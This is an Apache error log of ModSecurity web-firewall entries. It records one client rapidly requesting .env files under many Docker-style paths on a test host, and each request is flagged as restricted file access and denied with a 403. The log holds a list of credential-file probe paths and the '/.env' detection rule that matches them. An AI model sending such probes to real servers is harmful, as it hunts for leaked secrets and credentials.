[Mon Jul 28 20:46:08.457358 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-elk/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjlQAAAAc&quot;]
[Mon Jul 28 20:46:08.457509 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-elk/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjlQAAAAc&quot;]
[Mon Jul 28 20:46:08.492977 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker-network-healthcheck/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-network-healthcheck/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjlgAAAAc&quot;]
[Mon Jul 28 20:46:08.493146 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-network-healthcheck/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjlgAAAAc&quot;]
[Mon Jul 28 20:46:08.493306 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-network-healthcheck/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjlgAAAAc&quot;]
[Mon Jul 28 20:46:08.513400 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker-node-mongo-redis/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-node-mongo-redis/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjlwAAAAc&quot;]
[Mon Jul 28 20:46:08.513590 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-node-mongo-redis/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjlwAAAAc&quot;]
[Mon Jul 28 20:46:08.513755 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-node-mongo-redis/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjlwAAAAc&quot;]
[Mon Jul 28 20:46:08.533728 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/compose/withmongo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/compose/withMongo/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjmAAAAAc&quot;]
[Mon Jul 28 20:46:08.533915 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/compose/withMongo/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjmAAAAAc&quot;]
[Mon Jul 28 20:46:08.534079 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/compose/withMongo/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjmAAAAAc&quot;]
[Mon Jul 28 20:46:08.553968 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/compose/withpostgres/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/compose/withPostgres/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjmQAAAAc&quot;]
[Mon Jul 28 20:46:08.554161 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/compose/withPostgres/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjmQAAAAc&quot;]
[Mon Jul 28 20:46:08.554328 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/compose/withPostgres/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjmQAAAAc&quot;]
[Mon Jul 28 20:46:08.574219 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/database/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/database/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjmgAAAAc&quot;]
[Mon Jul 28 20:46:08.574436 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/database/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjmgAAAAc&quot;]
[Mon Jul 28 20:46:08.574607 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/database/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjmgAAAAc&quot;]
[Mon Jul 28 20:46:08.594769 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/db/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/db/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjmwAAAAc&quot;]
[Mon Jul 28 20:46:08.594960 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/db/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjmwAAAAc&quot;]
[Mon Jul 28 20:46:08.595136 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/db/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjmwAAAAc&quot;]
[Mon Jul 28 20:46:08.615103 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/dev/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/dev/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjnAAAAAc&quot;]
[Mon Jul 28 20:46:08.615294 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/dev/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjnAAAAAc&quot;]
[Mon Jul 28 20:46:08.615460 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/dev/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjnAAAAAc&quot;]
[Mon Jul 28 20:46:08.635513 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/examples/compose/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/examples/compose/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjnQAAAAc&quot;]
[Mon Jul 28 20:46:08.635773 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/examples/compose/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjnQAAAAc&quot;]
[Mon Jul 28 20:46:08.635954 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/examples/compose/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjnQAAAAc&quot;]
[Mon Jul 28 20:46:08.655848 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/postgres/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/postgres/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjngAAAAc&quot;]
[Mon Jul 28 20:46:08.656064 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/postgres/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjngAAAAc&quot;]
[Mon Jul 28 20:46:08.656259 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/postgres/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjngAAAAc&quot;]
[Mon Jul 28 20:46:08.676090 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/webdav/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/webdav/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjnwAAAAc&quot;]
[Mon Jul 28 20:46:08.676282 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/webdav/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjnwAAAAc&quot;]
[Mon Jul 28 20:46:08.676463 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/webdav/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjnwAAAAc&quot;]
[Mon Jul 28 20:46:08.696352 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docs/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjoAAAAAc&quot;]
